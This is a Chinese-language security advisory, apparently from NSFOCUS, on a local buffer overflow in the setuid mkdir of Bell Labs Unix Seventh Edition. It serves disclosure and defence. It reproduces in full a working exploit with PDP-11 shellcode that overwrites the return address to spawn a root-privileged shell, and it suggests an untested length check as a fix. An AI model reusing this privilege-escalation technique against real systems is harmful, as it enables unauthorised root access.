Mkdir本地缓冲区溢出漏洞受影响系统:
Bell Labs Unix Seventh Edition
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 10462
mkdir是用户用于建立目录的工具。
mkdir在处理路径数据时缺少充分边界检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以root权限在系统上执行任意指令。
Mkdir通过set-user-id机制获得root用户权限使用mknod系统调用建立目录,在建立子目录前,mkdir先验证新目录是否存在,并且用户可访问此目录,在执行测试过程中,mkdir拷贝用户提供的路径到固定的临时缓冲区,这有mkdir()函数完成。
mkdir()函数先查找提供路径中最后路径分隔符('/'),然后拷贝所有数据到pname缓冲区,由于pname缓冲区只有128字节长度,用户提供路径超长,可能发生缓冲区溢出。
攻击者在UNIX 7th Edition系统上可成功获得root用户权限。
<*来源:Tim Newsham (newsham@lava.net)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=108627540130457&w=2
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Tim Newsham (newsham@lava.net)提供了如下测试方法:
/*
* Exploit for /bin/mkdir Unix V7 PDP-11.
* mkdir has a buffer overflow when checking if the directory
* in /arg/with/slashes/fname exists.
*
* This will run /bin/sh with euid 0, but not uid 0. Since
* the shell doesn't do anything special about this, we don't
* really care. If you care, run setuid(0); execl("/bin/sh", 0);
*/
/*
.globl _main
_main:
mov pc,r1
sub $-[sh-_main-2], r1 / pointer to sh
mov r1, r2
sub $-8, r2
clrb -1(r2) / null terminate
mov r1, r2
clr -(r1) / char *env[] = {0}
mov r1, r3
mov r2, -(r1) / char *argv[] = {sh, 0}
mov r1, r4
mov r3, -(r1) / reverse of sh,argv,env
mov r4, -(r1)
mov r2, -(r1)
sys 59.; 11111; 11111; 11111 / call execve
argv: 11111; 11111
sh: </bin/sh>
*/
char egg[] = { 0301, 021, 0301, 0345, 0326, 0377, 0102, 020,
0302, 0345, 0370, 0377, 062, 0212, 0377, 0377,
0102, 020, 041, 012, 0103, 020, 0241, 020,
0104, 020, 0341, 020, 041, 021, 0241, 020,
073, 0211, 0111, 022, 0111, 022, 0111, 022,
0111, 022, 0111, 022, 057, 0142, 0151, 0156,
057, 0163, 0150, 0 };
#define NOPSLIDE 50
#define CNT 136
#define PC 0xfea0
main(argc, argv)
int argc;
char **argv;
{
char buf[400];
int i;
char *argv2[4];
/* nop slide + egg */
for(i = 0; i < NOPSLIDE; ) {
buf[i++] = 0301;
buf[i++] = 021;
}
strcpy(buf + i, egg);
/* pad out to CNT */
for(i = strlen(buf); i < CNT; i++)
buf[i] = 'a';
/* overwrite retaddr */
buf[i++] = PC & 0xff;
buf[i++] = PC >> 8;
/* extra stuff */
buf[i++] = '/';
buf[i++] = 'a';
buf[i++] = 0;
argv2[0] = "/bin/mkdir";
argv2[1] = buf;
argv2[2] = 0;
execv(argv2[0], argv2);
return 0;
}
建议:
--------------------------------------------------------------------------------
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 建议在/usr/src/cmd/mkdir.c中mkdir()函数开始处增加如下检查:
if(strlen(d) >= 126) {
fprintf(stderr, "mkdir: path is too long\n");
++Errors;
return;
}
此方法没有经过测试。
厂商补丁:
Bell Labs
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://museum.sysun.com/museum/unix7.html